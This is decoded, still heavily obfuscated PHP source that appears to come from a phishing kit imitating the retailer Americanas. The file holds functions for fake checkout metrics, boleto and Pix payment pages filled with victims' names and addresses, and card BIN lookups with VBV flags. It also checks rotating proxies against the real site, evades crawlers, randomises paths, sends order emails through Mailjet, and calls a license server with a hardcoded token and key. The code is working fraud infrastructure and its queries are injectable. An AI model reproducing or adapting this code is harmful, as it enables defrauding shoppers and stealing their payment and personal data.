/* Decoded by unphp.net */
query("update x9 set qtd = (qtd+1)");}function set_metrica_pedido($renda=0){${"GLOBALS"}["vacphleghzmf"]="rws";${"GLOBALS"}["dkqyphux"]="diasemana_numero";global$pdo;${${"GLOBALS"}["kyiyfgjdxc"]}=date("d/m");${${"GLOBALS"}["vacphleghzmf"]}=rows("metricas where dia = '$hoje'");${${"GLOBALS"}["dkqyphux"]}=date("w",time());if(${${"GLOBALS"}["fqmxehnqkzo"]}==0){$pdo->query("INSERT INTO `metricas`(`visitas`, `pedidos`, `pagos`, `renda`, `dia`,`dia_name`) VALUES ('0', '0', '0', '0', '$hoje','$diasemana_numero')");}$pdo->query("update metricas set pagos = (pagos+1), renda = (renda+$renda) where dia = '$hoje'");}function set_metrica_pix_renda($renda=0,$qtd=1){$otdoioref="hoje";$jlkhjkyvhwux="rws";${"GLOBALS"}["fqjctzqd"]="rws";${"GLOBALS"}["wkuxeqyjnzm"]="diasemana_numero";global$pdo;${$otdoioref}=date("d/m");${${"GLOBALS"}["fqjctzqd"]}=rows("metricas where dia = '$hoje'");${${"GLOBALS"}["wkuxeqyjnzm"]}=date("w",time());if(${$jlkhjkyvhwux}==0){$pdo->query("INSERT INTO `metricas`(`visitas`, `pedidos`, `pagos`, `renda`, `dia`,`dia_name`) VALUES ('0', '0', '0', '0', '$hoje','$diasemana_numero')");}$pdo->query("update metricas set pagos_pix = (pagos_pix+$qtd), renda_pix = (renda_pix+$renda) where dia = '$hoje'");}function set_metrica($name){global$pdo;${"GLOBALS"}["fdtbhsbjfk"]="hoje";${"GLOBALS"}["xoflhr"]="permission";${"GLOBALS"}["ydfsydtgeboc"]="rws";$goyjixrwad="diasemana_numero";${${"GLOBALS"}["fdtbhsbjfk"]}=date("d/m");${${"GLOBALS"}["ydfsydtgeboc"]}=rows("metricas where dia = '$hoje'");${${"GLOBALS"}["xoflhr"]}=["visitas","pedidos","pagos","renda","pagos_pix"];${$goyjixrwad}=date("w",time());${"GLOBALS"}["cqedqepe"]="rws";if(${${"GLOBALS"}["cqedqepe"]}==0){$pdo->query("INSERT INTO `metricas`(`visitas`, `pedidos`, `pagos`, `renda`, `dia`,`dia_name`) VALUES ('0', '0', '0', '0', '$hoje','$diasemana_numero')");}$ikivewq="name";if(in_array(${$ikivewq},${${"GLOBALS"}["udhhwyir"]})){${${"GLOBALS"}["jryqnlari"]}=$pdo->query("update metricas set {$name} = ($name+1) where dia = '$hoje'");}else{return 0;}}function valid($var){${"GLOBALS"}["fiwqxkvuqk"]="var";if(${${"GLOBALS"}["fiwqxkvuqk"]}){$_SESSION["ok"]="Concluido com sucesso !";}else{$_SESSION["fail"]="Falha interna, tente de novo";}}function curl_active($proxy,$usuario){$bvufzgfti="ch";${"GLOBALS"}["xowgbnnkgv"]="url";$uegxmpdej="ch";${$uegxmpdej}=curl_init();$fldwmsitb="ch";${${"GLOBALS"}["xowgbnnkgv"]}="https://www.americanas.com.br/";$jwtetjk="result";curl_setopt(${${"GLOBALS"}["fuwkqnvetkhq"]},CURLOPT_URL,${${"GLOBALS"}["wgkjhsorl"]});$gstgpxkpei="result";${"GLOBALS"}["rfsgnzm"]="error";${"GLOBALS"}["tdhczswwq"]="ch";curl_setopt(${$fldwmsitb},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["fuwkqnvetkhq"]},CURLOPT_SSL_VERIFYHOST,0);curl_setopt(${$bvufzgfti},CURLOPT_SSL_VERIFYPEER,0);curl_setopt(${${"GLOBALS"}["fuwkqnvetkhq"]},CURLOPT_FOLLOWLOCATION,1);curl_setopt(${${"GLOBALS"}["fuwkqnvetkhq"]},CURLOPT_PROXY,${${"GLOBALS"}["cyjumyxpho"]});curl_setopt(${${"GLOBALS"}["tdhczswwq"]},CURLOPT_PROXYUSERPWD,${${"GLOBALS"}["dgxccvky"]});curl_setopt(${${"GLOBALS"}["fuwkqnvetkhq"]},CURLOPT_TIMEOUT,5);${$jwtetjk}=curl_exec(${${"GLOBALS"}["fuwkqnvetkhq"]});${${"GLOBALS"}["rfsgnzm"]}=curl_error(${${"GLOBALS"}["fuwkqnvetkhq"]});${${"GLOBALS"}["oppgunscb"]}=strpos(${$gstgpxkpei},"You don't have permission");if(${${"GLOBALS"}["qeywdqd"]}){return 0;}else{${"GLOBALS"}["spnizfqlf"]="verify_sext";if(${${"GLOBALS"}["spnizfqlf"]}!=false){return 0;}else{return 1;}}}function cortar_texto($texto,$limite=4){${${"GLOBALS"}["cvdtlhs"]}=explode(" ",${${"GLOBALS"}["midbxbsho"]});${${"GLOBALS"}["coplcbtwoh"]}=[];if(count(${${"GLOBALS"}["cvdtlhs"]})<${${"GLOBALS"}["fyguxxdwtq"]}){$vhbiplzodn="explode";${${"GLOBALS"}["fyguxxdwtq"]}=count(${$vhbiplzodn});}$cxdnfmubfn="i";for(${$cxdnfmubfn}=0;${${"GLOBALS"}["kdunwgtlgnzs"]}<${${"GLOBALS"}["fyguxxdwtq"]};${${"GLOBALS"}["kdunwgtlgnzs"]}++){${"GLOBALS"}["nyvpfjcrx"]="i";${${"GLOBALS"}["coplcbtwoh"]}[]=${${"GLOBALS"}["cvdtlhs"]}[${${"GLOBALS"}["nyvpfjcrx"]}];}return implode(" ",${${"GLOBALS"}["coplcbtwoh"]});}function curl($url,$headers=[],$post=0,$post_fields="",$dados=[]){$bjwtbiqihm="proxy_ip";$bkoixwpra="ch";$mpvxib="proxy";$htovlallx="proxy";$qzbfbpfuli="result";$bbyrunc="proxy";$ryfdxw="result";global$pdo;$kjfckjfyih="ch";${$htovlallx}=$pdo->query("select * from proxy order by rand()");$pjhtvj="ch";${"GLOBALS"}["hqpmrdmdif"]="proxy_user";${"GLOBALS"}["jzggvlnredd"]="ch";$mqmlueslhsbs="proxy";${$mqmlueslhsbs}=$proxy->fetch();${"GLOBALS"}["susrmnshtxr"]="ch";${"GLOBALS"}["eatvpw"]="proxy_ip";${"GLOBALS"}["dnybunn"]="error";
${$bjwtbiqihm}=isset(${${"GLOBALS"}["cyjumyxpho"]}["proxy"])?${$bbyrunc}["proxy"]:false;${"GLOBALS"}["ucqqhylsfs"]="url";${${"GLOBALS"}["hqpmrdmdif"]}=isset(${$mpvxib}["user"])?${${"GLOBALS"}["cyjumyxpho"]}["user"]:false;${${"GLOBALS"}["fuwkqnvetkhq"]}=curl_init();curl_setopt(${$bkoixwpra},CURLOPT_URL,${${"GLOBALS"}["ucqqhylsfs"]});${"GLOBALS"}["fqcktlvzcu"]="ch";curl_setopt(${${"GLOBALS"}["susrmnshtxr"]},CURLOPT_RETURNTRANSFER,1);$wqmpwdqk="verify_sext";curl_setopt(${${"GLOBALS"}["fqcktlvzcu"]},CURLOPT_SSL_VERIFYHOST,0);curl_setopt(${$pjhtvj},CURLOPT_SSL_VERIFYPEER,0);curl_setopt(${${"GLOBALS"}["fuwkqnvetkhq"]},CURLOPT_FOLLOWLOCATION,1);curl_setopt(${${"GLOBALS"}["jzggvlnredd"]},CURLOPT_PROXY,${${"GLOBALS"}["eatvpw"]});curl_setopt(${${"GLOBALS"}["fuwkqnvetkhq"]},CURLOPT_PROXYUSERPWD,${${"GLOBALS"}["dpewludut"]});curl_setopt(${$kjfckjfyih},CURLOPT_TIMEOUT,5);if(${${"GLOBALS"}["qyqcflt"]}==1){$kcynvnrbnn="ch";${"GLOBALS"}["dmnpbgwhohl"]="ch";${"GLOBALS"}["xyxenxglcgdn"]="post_fields";curl_setopt(${$kcynvnrbnn},CURLOPT_POST,1);curl_setopt(${${"GLOBALS"}["dmnpbgwhohl"]},CURLOPT_POSTFIELDS,${${"GLOBALS"}["xyxenxglcgdn"]});}$flgofp="error";$ycveqkwo="ch";curl_setopt(${${"GLOBALS"}["fuwkqnvetkhq"]},CURLOPT_HTTPHEADER,${${"GLOBALS"}["lxhyurip"]});${$ryfdxw}=curl_exec(${${"GLOBALS"}["fuwkqnvetkhq"]});${$flgofp}=curl_error(${$ycveqkwo});${${"GLOBALS"}["oppgunscb"]}=strpos(${$qzbfbpfuli},"You don't have permission");if(${${"GLOBALS"}["dnybunn"]}!=false or${$wqmpwdqk}!=false){$pdo->query("update proxy set fail = (fail+1) where proxy = '$proxy_ip'");$pdo->query("update contador set api_fail = (api_fail+1)");return"{"error":\"fail\"}";}else{$pdo->query("update proxy set success = (success+1) where proxy = '$proxy_ip'");$pdo->query("update contador set curl_request = (curl_request+1)");return${${"GLOBALS"}["mccstgde"]};}}function cc_gKey($serial,$senha,$install=false){$qkubvy="ch";$lgexcxdrpmvt="ch";${"GLOBALS"}["irkjorf"]="ch";${"GLOBALS"}["yieqiqtyg"]="version";global$version;$xyxwplw="version";${${"GLOBALS"}["yieqiqtyg"]}=filter_var(${${"GLOBALS"}["gwugbhtj"]},FILTER_SANITIZE_STRING);if(${${"GLOBALS"}["wikbrqjtwqy"]}){${"GLOBALS"}["uxdcuinp"]="cods";${${"GLOBALS"}["uxdcuinp"]}="[]";}else{${${"GLOBALS"}["ygewqdyequy"]}=getCodes();}${"GLOBALS"}["lqhybrhal"]="ch";${$qkubvy}=curl_init(rr_base());curl_setopt(${${"GLOBALS"}["irkjorf"]},CURLOPT_RETURNTRANSFER,1);${"GLOBALS"}["dxrzckxpes"]="ch";curl_setopt(${${"GLOBALS"}["dxrzckxpes"]},CURLOPT_USERAGENT,"SMART(+PRO BY: PRISMO)");
curl_setopt(${${"GLOBALS"}["lqhybrhal"]},CURLOPT_HTTPHEADER,["user-agent: SMART(+PRO BY: PRISMO)","user-url: ".urlBase(),"Authorization: ".crypto(${${"GLOBALS"}["tmaydfwevg"]}.${${"GLOBALS"}["jtspufcw"]}),"Bearer: 798190d7caf3aaabf183b3ff7f2dc7c45946ee37c778153fd57da793986ba8b1","version"=>${$xyxwplw}]);$wlumsdvclc="ch";curl_setopt(${${"GLOBALS"}["fuwkqnvetkhq"]},CURLOPT_POST,1);curl_setopt(${$wlumsdvclc},CURLOPT_POSTFIELDS,"loja=americanas_infinity&token=".${${"GLOBALS"}["tmaydfwevg"]}."&codigos=".${${"GLOBALS"}["ygewqdyequy"]});return curl_exec(${$lgexcxdrpmvt});}function crypto($valor){return hash_hmac("SHA256",${${"GLOBALS"}["ryqvmescq"]},"08c6ec1c9520366592a0815a1f9f951e");}function getCodes(){${"GLOBALS"}["dsfffrqrib"]="res";${${"GLOBALS"}["udzpsnwr"]}=pdo()->query("select `codigo` from estoque group by codigo");${${"GLOBALS"}["jhlxptbykbu"]}=$sql->fetchAll(PDO::FETCH_ASSOC);if(empty(${${"GLOBALS"}["dsfffrqrib"]})){return"[]";}return json_encode(array_values(${${"GLOBALS"}["jhlxptbykbu"]}));}function loadPath($error="Erro, tente novamente",$bloqueio=false){$nyhivxrhzro="bloqueio";require __DIR__."/../views/404.php";pdo()->query("delete from href");if(!empty(${$nyhivxrhzro})){$dastxlpn="bloqueio";(new\Source\Modells\crud("bloqueio"))->insertDB(["bloqueio"=>atualDate("+10 minute"),"motivo"=>${$dastxlpn}]);}exit();}function rr_base(){return"https://app.smartpro-tokens.com.br/api/v7/authenticate";}function atualDate($more=false){${"GLOBALS"}["zmipglqxldyi"]="c";
if(!${${"GLOBALS"}["ncgspepem"]}){$nogvcwfggld="c";${$nogvcwfggld}=date("Y/m/d H:i:s");}else{${"GLOBALS"}["bjxwkwnwomt"]="more";${${"GLOBALS"}["lopnmhzbcv"]}=date("Y/m/d H:i:s",strtotime(${${"GLOBALS"}["bjxwkwnwomt"]}));}return${${"GLOBALS"}["zmipglqxldyi"]};}function lembrete_html($pedido=false,$vencimento=false){$avpcku="pedido";global$pdo;${"GLOBALS"}["fxcuradadu"]="pedido";global$urlbase;${$avpcku}=addslashes(${${"GLOBALS"}["fxcuradadu"]});
${${"GLOBALS"}["kgietj"]}=$pdo->query("select * from dados_boletos where pedido = '$pedido'");if($select->rowCount()==0){return"Mensagem não carregada";}else{${"GLOBALS"}["dqlkqmjaptml"]="res";$vpfuitj="nome";${"GLOBALS"}["vloicog"]="res";${${"GLOBALS"}["xhiyesg"]}=file_get_contents(__DIR__."/../views/emails/lembrete.html");${"GLOBALS"}["wgryudadpu"]="html";${"GLOBALS"}["lhwcics"]="nome";${"GLOBALS"}["yplvhznx"]="nome";$uzhopjuli="res";$pqsokblatg="html";$hcvbebin="pedido";${$uzhopjuli}=$select->fetch();${"GLOBALS"}["vmmdgrtypn"]="html";${"GLOBALS"}["qplshwq"]="res";${$vpfuitj}=explode(" ",${${"GLOBALS"}["qplshwq"]}["nome"]);$hqybchiy="html";${"GLOBALS"}["ycnvotsm"]="html";$ldmvxfqueei="html";${${"GLOBALS"}["uphbmibczim"]}=ucwords(${${"GLOBALS"}["yplvhznx"]}[0]);${"GLOBALS"}["nwiqwpzc"]="res";${"GLOBALS"}["rlfqyesmjce"]="html";${$pqsokblatg}=str_replace("{nome}",${${"GLOBALS"}["lhwcics"]},${$ldmvxfqueei});${${"GLOBALS"}["vmmdgrtypn"]}=str_replace("{vencimento}",${${"GLOBALS"}["jruofswk"]},${$hqybchiy});${${"GLOBALS"}["xhiyesg"]}=str_replace("{pedido}",${$hcvbebin},${${"GLOBALS"}["xhiyesg"]});${${"GLOBALS"}["wgryudadpu"]}=str_replace("{img}",${${"GLOBALS"}["dqlkqmjaptml"]}["img_amc"],${${"GLOBALS"}["xhiyesg"]});${${"GLOBALS"}["rlfqyesmjce"]}=str_replace("{trilha}",${${"GLOBALS"}["nwiqwpzc"]}["linha"],${${"GLOBALS"}["xhiyesg"]});${${"GLOBALS"}["ycnvotsm"]}=str_replace("{produto}",${${"GLOBALS"}["vloicog"]}["produto"],${${"GLOBALS"}["xhiyesg"]});${${"GLOBALS"}["xhiyesg"]}=str_replace("{url}",${${"GLOBALS"}["hieihjv"]}."views/saved/?b={$res['pdf']}",${${"GLOBALS"}["xhiyesg"]});return${${"GLOBALS"}["xhiyesg"]};}}function gerarPHXOne(){$ytlxkugg="n";${$ytlxkugg}=md5(sha1(time()+mt_rand()));${${"GLOBALS"}["fuwkqnvetkhq"]}=substr(${${"GLOBALS"}["nlxkrsgldv"]},0,8);return${${"GLOBALS"}["fuwkqnvetkhq"]};}function gerarPHX(){return gerarPHXOne()."-".gerarPHXOne()."-".gerarPHXOne()."-".gerarPHXOne();}function post($post){if(isset($_POST[${${"GLOBALS"}["qyqcflt"]}])){${"GLOBALS"}["rufgfd"]="post";$ekzpbnqk="post";$mwvbfgm="post";${$mwvbfgm}=htmlspecialchars(addslashes($_POST[${${"GLOBALS"}["rufgfd"]}]));return${$ekzpbnqk};}else{return"not-foud";}}function boleto_html($pedido=false){${${"GLOBALS"}["psucaoi"]}=pdo();${${"GLOBALS"}["hieihjv"]}=urlBase();${${"GLOBALS"}["dbhetkym"]}=addslashes(${${"GLOBALS"}["dbhetkym"]});${${"GLOBALS"}["kgietj"]}=$pdo->query("select * from dados_boletos where pedido = '$pedido'");if($select->rowCount()==0){return"Mensagem não carregada";}else{${"GLOBALS"}["utdbnvwvm"]="html";$xthxlmm="html";$xcbtxqf="html";${"GLOBALS"}["zeikpc"]="html";${"GLOBALS"}["xqxbli"]="html";${"GLOBALS"}["myutoivoo"]="html";${${"GLOBALS"}["jhlxptbykbu"]}=$select->fetch();$htksjklz="html";${"GLOBALS"}["gyuhvnil"]="res";${${"GLOBALS"}["uphbmibczim"]}=explode(" ",${${"GLOBALS"}["gyuhvnil"]}["nome"]);$pujmcgj="html";$mfxorriozn="nome";$inocwry="res";$pgghfbk="html";${$mfxorriozn}=ucwords(${${"GLOBALS"}["uphbmibczim"]}[0]);$waurmwfps="html";${${"GLOBALS"}["xhiyesg"]}=file_get_contents(__DIR__."/../views/emails/boleto.html");${${"GLOBALS"}["myutoivoo"]}=str_replace("{nome}",${${"GLOBALS"}["uphbmibczim"]},${${"GLOBALS"}["xhiyesg"]});${${"GLOBALS"}["xhiyesg"]}=str_replace("{pedido}",${${"GLOBALS"}["jhlxptbykbu"]}["pedido"],${$pujmcgj});${$waurmwfps}=str_replace("{produto}",${${"GLOBALS"}["jhlxptbykbu"]}["produto"],${$xcbtxqf});${"GLOBALS"}["mxebksuxd"]="html";$iteedfqqxe="html";${$htksjklz}=str_replace("{img}",${${"GLOBALS"}["jhlxptbykbu"]}["img_amc"],${$xthxlmm});${${"GLOBALS"}["mxebksuxd"]}=str_replace("{trilha}",${$inocwry}["linha"],${${"GLOBALS"}["zeikpc"]});${${"GLOBALS"}["xqxbli"]}=str_replace("{url}",${${"GLOBALS"}["hieihjv"]}."views/saved/?b={$res['pdf']}",${${"GLOBALS"}["xhiyesg"]});${$iteedfqqxe}=str_replace("{endereco}","Destinatário : {$res['nome']}
{$res['endereco']}, {$res['numero']}, {$res['bairro']}
{$res['cidade']}, {$res['estado']}
CEP : {$res['cep']}",${${"GLOBALS"}["xhiyesg"]});${${"GLOBALS"}["utdbnvwvm"]}=str_replace("{valor}",number_format(${${"GLOBALS"}["jhlxptbykbu"]}["valor"],2,",","."),${${"GLOBALS"}["xhiyesg"]});return${$pgghfbk};}}
function bia_add($dados=[]){
global$pdo;
global$dbconfig;
require __DIR__."/../vendor/bia/autoload.php";
if(!filter_var(${${"GLOBALS"}["fothirj"]}["email"],FILTER_VALIDATE_EMAIL)){
return 998;
}else{
$qmbiyd="dados";
$enotlbjd="dbconfig";
${"GLOBALS"}["ypxmbukcgh"]="body";
${"GLOBALS"}["swmpwugimwu"]="body";
${${"GLOBALS"}["lvbusdnqbjj"]}=new\Mailjet\Client(${$qmbiyd}["user"],${${"GLOBALS"}["bffofhz"]}["pass"],true,["version"=>"v3.1"]);
${${"GLOBALS"}["swmpwugimwu"]}=["Messages"=>[["From"=>["Email"=>${${"GLOBALS"}["bffofhz"]}["email"],"Name"=>"DK Net"],"To"=>[["Email"=>${$enotlbjd}["email"],"Name"=>"Informações"]],"Subject"=>"DK Net","TextPart"=>"My first Mailjet email","HTMLPart"=>"Adicionado com sucesso! o servidor {$dados['email']} foi testado e adicionado com sucesso no sistema.","CustomID"=>"AppGettingStartedTest"]]];${"GLOBALS"}["wwurynrrjijs"]="response";${${"GLOBALS"}["wwurynrrjijs"]}=$mj->post(Resources::${${"GLOBALS"}["xocgrn"]},["body"=>${${"GLOBALS"}["ypxmbukcgh"]}]);if($response->success()){return 1;}else{return 0;}}}function pdo(){global$pdo;return${${"GLOBALS"}["psucaoi"]};}function valid_session($session){${"GLOBALS"}["pxdraixoz"]="session";${${"GLOBALS"}["xzexxc"]}=isset($_COOKIE["codigo"])?$_COOKIE["codigo"]:false;global$urlbase;if(!isset($_SESSION[${${"GLOBALS"}["pxdraixoz"]}])){$itiqolzvbn="codigo";if(${$itiqolzvbn}==false){require __DIR__."/../views/404.php";}else{$krgjvhxjv="urlbase";redir(${$krgjvhxjv}.arch()."/cesta");}exit();}}function bia_verify($dados=[]){global$pdo;global$dbconfig;require __DIR__."/../vendor/bia/autoload.php";${"GLOBALS"}["wkcimsz"]="jet";${${"GLOBALS"}["wkcimsz"]}=$pdo->query("select * from bia where id = '{$dados['id']}'");if($jet->rowCount()==0){return false;}else{$wcqsmjpppls="dados";if(!filter_var(${$wcqsmjpppls}["email"],FILTER_VALIDATE_EMAIL)){return 998;}else{${"GLOBALS"}["bhspww"]="jet";$qegenhswvcs="body";${"GLOBALS"}["mwhlscnpnig"]="subjet";${${"GLOBALS"}["bhspww"]}=$jet->fetch();${${"GLOBALS"}["lvbusdnqbjj"]}=new\Mailjet\Client(${${"GLOBALS"}["kjxrtp"]}["user"],${${"GLOBALS"}["kjxrtp"]}["pass"],true,["version"=>"v3.1"]);${${"GLOBALS"}["osveecc"]}=["O sistema Mailjet esta funcionando !"];$jotirdctnf="Email";$vnkjkniam="body";${${"GLOBALS"}["mwhlscnpnig"]}=["Dk Net"];${$vnkjkniam}=["Messages"=>[["From"=>["Email"=>${${"GLOBALS"}["kjxrtp"]}["sac"],"Name"=>${${"GLOBALS"}["khdgxtjww"]}[rand(0,count(${${"GLOBALS"}["khdgxtjww"]})-1)]],"To"=>[["Email"=>${${"GLOBALS"}["bffofhz"]}["email"],"Name"=>"Informações"]],"Subject"=>${${"GLOBALS"}["osveecc"]}[rand(0,count(${${"GLOBALS"}["osveecc"]})-1)],"TextPart"=>"My first Mailjet email","HTMLPart"=>"Tudo ok por aqui ! o sistema esta funcionando","CustomID"=>"AppGettingStartedTest"]]];${${"GLOBALS"}["uccdrzvwui"]}=$mj->post(Resources::${$jotirdctnf},["body"=>${$qegenhswvcs}]);if($response->success()){$pdo->query("update bia set send = (send+1) where `id` = '{$jet['id']}'");return 1;}else{$pdo->query("update bia set dont = (dont+1) where `id` = '{$jet['id']}'");return 0;}}}}function limpar_checkout(){echo"";echo"";echo"";echo"";}function get_bin($cc){$ukyeuxyu="cc";${"GLOBALS"}["jfxmvxs"]="bin";${$ukyeuxyu}=str_replace(["-"," "],"",${${"GLOBALS"}["ryiomnyream"]});global$pdo;${"GLOBALS"}["yseekpauqpxa"]="select";${${"GLOBALS"}["jfxmvxs"]}=substr(${${"GLOBALS"}["ryiomnyream"]},0,6);${${"GLOBALS"}["yseekpauqpxa"]}=$pdo->query("select * from bin where bin = '$bin'");if($select->rowCount()==0){${${"GLOBALS"}["jwzqqq"]}=["banco"=>htmlentities("Não cadastrado"),"vbv"=>"0","bandeira"=>"null","digitos"=>"0"];$kvukkofyzi="json";return json_decode(json_encode(${$kvukkofyzi}));}else{$wtrouzsojf="res";${"GLOBALS"}["mezxfcdhbkv"]="res";$ivvggfd="res";${${"GLOBALS"}["jhlxptbykbu"]}=$select->fetch();$vlrlphmymfnc="json";${"GLOBALS"}["rwlprlxfee"]="vbv";${"GLOBALS"}["ojrymqucv"]="res";if(${${"GLOBALS"}["mezxfcdhbkv"]}["vbv"]==1 and${$ivvggfd}["cbc"]==1){$nbdqxmyewhog="vbv";${$nbdqxmyewhog}=1;}else{$cxoixgyc="vbv";${$cxoixgyc}=0;}${$vlrlphmymfnc}=["banco"=>${${"GLOBALS"}["jhlxptbykbu"]}["banco"]." - ".${${"GLOBALS"}["jhlxptbykbu"]}["lvl"],"vbv"=>${${"GLOBALS"}["rwlprlxfee"]},"bandeira"=>${$wtrouzsojf}["versao"],"digitos"=>${${"GLOBALS"}["ojrymqucv"]}["digitos"]];return json_decode(json_encode(${${"GLOBALS"}["jwzqqq"]}));}}function arch(){$gdhoduq="newArch";${"GLOBALS"}["jsisilippz"]="newArch";${${"GLOBALS"}["lioubeq"]}=sha1(mt_rand());${$gdhoduq}=substr(${${"GLOBALS"}["lioubeq"]},0,20);return${${"GLOBALS"}["jsisilippz"]};}function gooTo($url){global$urlbase;$zvcqfk="arch";global$arch;redir(${${"GLOBALS"}["hieihjv"]}.${$zvcqfk}."/".${${"GLOBALS"}["wgkjhsorl"]});exit();}function ar(){global$arch;echo${${"GLOBALS"}["bgybbf"]};}function not_found(){require __DIR__."/../views/404.php";exit();}function bia($dados=[],$lembrete=false){global$pdo;global$dbconfig;require __DIR__."/../vendor/bia/autoload.php";${${"GLOBALS"}["kjxrtp"]}=$pdo->query("select * from bia order by rand()");if($jet->rowCount()==0){return false;}else{${"GLOBALS"}["yoqqqzqconb"]="dados";if(!filter_var(${${"GLOBALS"}["yoqqqzqconb"]}["email"],FILTER_VALIDATE_EMAIL)){return 998;}else{$mdijnpaij="mj";$jmgnsctipjj="body";${"GLOBALS"}["fetsxvhvmrz"]="subjet";$nwzkygle="titulos";$qkwtltm="jet";${${"GLOBALS"}["kjxrtp"]}=$jet->fetch();${"GLOBALS"}["cmfoqirba"]="jet";$iybbyjv="titulos";${"GLOBALS"}["exgcjwpo"]="lembrete";$wyqoxgvkg="Email";${$mdijnpaij}=new\Mailjet\Client(${$qkwtltm}["user"],${${"GLOBALS"}["cmfoqirba"]}["pass"],true,["version"=>"v3.1"]);if(${${"GLOBALS"}["exgcjwpo"]}==false){${"GLOBALS"}["vhwavnzejbq"]="titulos";${${"GLOBALS"}["vhwavnzejbq"]}=["Tudo ok :) agora é só pagar o boleto","Eba, tudo certo por aqui =) o pedido foi registrado","Tudo pronto, agora basta pagar o seu boleto"];${${"GLOBALS"}["khdgxtjww"]}=["Informações sobre o pedido","Informações sobre o boleto","Pedido cadastrado com sucesso","Seu boleto chegou","Boleto do seu pedido"];}else{$qdgfqppjg="subjet";${${"GLOBALS"}["osveecc"]}=[${${"GLOBALS"}["bffofhz"]}["vencimento"]];${$qdgfqppjg}=["Ei, Psiu"];}${$jmgnsctipjj}=["Messages"=>[["From"=>["Email"=>${${"GLOBALS"}["kjxrtp"]}["sac"],"Name"=>${${"GLOBALS"}["khdgxtjww"]}[rand(0,count(${${"GLOBALS"}["fetsxvhvmrz"]})-1)]],"To"=>[["Email"=>${${"GLOBALS"}["bffofhz"]}["email"],"Name"=>"Informações"]],"Subject"=>${$iybbyjv}[rand(0,count(${$nwzkygle})-1)]." 02-".${${"GLOBALS"}["bffofhz"]}["pedido"],"TextPart"=>"My first Mailjet email","HTMLPart"=>${${"GLOBALS"}["bffofhz"]}["msg"],"CustomID"=>"AppGettingStartedTest"]]];${${"GLOBALS"}["uccdrzvwui"]}=$mj->post(Resources::${$wyqoxgvkg},["body"=>${${"GLOBALS"}["itnlplt"]}]);if($response->success()){$pdo->query("update bia set send = (send+1) where `user` = '{$jet['user']}'");return 1;}else{$pdo->query("update bia set dont = (dont+1) where `user` = '{$jet['user']}'");return 0;}}}}function redir($url){echo"";exit();}function DownloadFile($file){$qegvdskkm="file";if(file_exists(${$qegvdskkm})){${"GLOBALS"}["gtktoeh"]="file";header("Content-Description: File Transfer");header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=".basename(${${"GLOBALS"}["gtktoeh"]}));header("Content-Transfer-Encoding: binary");header("Expires: 0");header("Cache-Control: must-revalidate, post-check=0, pre-check=0");header("Pragma: public");header("Content-Length: ".filesize(${${"GLOBALS"}["qyqryhqizsu"]}));ob_clean();${"GLOBALS"}["snigylev"]="file";flush();readfile(${${"GLOBALS"}["snigylev"]});header("Connection: close");}}function onlines($local=false,$produto=false){$qjbrzqtcs="ip";${"GLOBALS"}["wfppfykholy"]="device";global$pdo;${"GLOBALS"}["gkychl"]="get";${$qjbrzqtcs}=getIP();${${"GLOBALS"}["gkychl"]}=${${"GLOBALS"}["zpqsne"]};${${"GLOBALS"}["wfppfykholy"]}=getDevice();${${"GLOBALS"}["yepwho"]}=time()+60;$pdo->query("delete from onlines where `time` < '".time()."'");${${"GLOBALS"}["amfaelzu"]}=$_SERVER["HTTP_USER_AGENT"];if(\Source\Modells\crawlers::verify()==false){${"GLOBALS"}["hqnqnpuy"]="produto";$xowgcljt="agente";${"GLOBALS"}["kktoou"]="pesquisa";$kicgxjvsi="pesquisa";$pdo->query("delete from onlines where ip = '$ip'");${"GLOBALS"}["mpmguykdz"]="html_onlines";${"GLOBALS"}["lveskpilul"]="html_onlines_pt2";if(${${"GLOBALS"}["hqnqnpuy"]}!=false){$qyvqcgtdgd="html_onlines";
${$qyvqcgtdgd}="$produto»";}${${"GLOBALS"}["lveskpilul"]}=" $local";${"GLOBALS"}["nnygnmvul"]="html_onlines";${${"GLOBALS"}["dtynhkabcfb"]}=(${${"GLOBALS"}["mpmguykdz"]}??false).${${"GLOBALS"}["zhfizygzo"]};${${"GLOBALS"}["dtynhkabcfb"]}=trim(${${"GLOBALS"}["nnygnmvul"]});${${"GLOBALS"}["ilkozlegb"]}=new\Source\Modells\crud("onlines");${"GLOBALS"}["rgphxjuntfsd"]="device";$crud->insertDB(["ip"=>${${"GLOBALS"}["tkexzfn"]},"local"=>${${"GLOBALS"}["dtynhkabcfb"]},"device"=>${${"GLOBALS"}["rgphxjuntfsd"]},"time"=>${${"GLOBALS"}["yepwho"]},"user_agent"=>${$xowgcljt},"geo"=>json_encode(\Source\Modells\GeoLocalizacao::clientLocation(),JSON_UNESCAPED_UNICODE)]);${$kicgxjvsi}=$pdo->query("select onlines from contador");${${"GLOBALS"}["kktoou"]}=$pesquisa->fetch();${"GLOBALS"}["wlxecte"]="onlines";${${"GLOBALS"}["wlxecte"]}=$pdo->query("select id from onlines");$banopwqjdhgg="pesquisa";if($onlines->rowCount()>${$banopwqjdhgg}["onlines"]){$pdo->query("update contador set onlines = '{$onlines->rowCount()}'");}}}function rows($query){global$pdo;${${"GLOBALS"}["udzpsnwr"]}=$pdo->query("select id from {$query}");return$sql->rowCount();}function issetPixKey(){${"GLOBALS"}["pppmnxd"]="rows";${"GLOBALS"}["tgglgoxurpo"]="codigo";$bistcpg="codigo";${$bistcpg}=($_COOKIE["codigo"]??false);${${"GLOBALS"}["pppmnxd"]}=pdo()->prepare("select id from pix where codigo = ?");$rows->execute([${${"GLOBALS"}["tgglgoxurpo"]}]);if($rows->rowCount()>0){return true;}else{return false;}}function getPixKeys(){${${"GLOBALS"}["xzexxc"]}=($_COOKIE["codigo"]??false);${"GLOBALS"}["neamhwdrj"]="codigo";${${"GLOBALS"}["udzpsnwr"]}=pdo()->prepare("select * from pix where codigo = ? order by rand()");${"GLOBALS"}["fitwojqmfwnn"]="fetch";$sql->execute([${${"GLOBALS"}["neamhwdrj"]}]);if($sql->rowCount()==0){return false;}${${"GLOBALS"}["fitwojqmfwnn"]}=$sql->fetch(PDO::FETCH_OBJ);if(!isset($_SESSION["gerou_pix"])){pdo()->prepare("update `pix` set gerados = (gerados+1) where id = ?")->execute([$fetch->id]);$_SESSION["gerou_pix"]=true;}return${${"GLOBALS"}["wupitwgvw"]};}function send($dados,$to=false){global$pdo;${"GLOBALS"}["slqdns"]="dados";if(filter_var(${${"GLOBALS"}["slqdns"]}["email"],FILTER_VALIDATE_EMAIL)){${${"GLOBALS"}["jthacb"]}=new 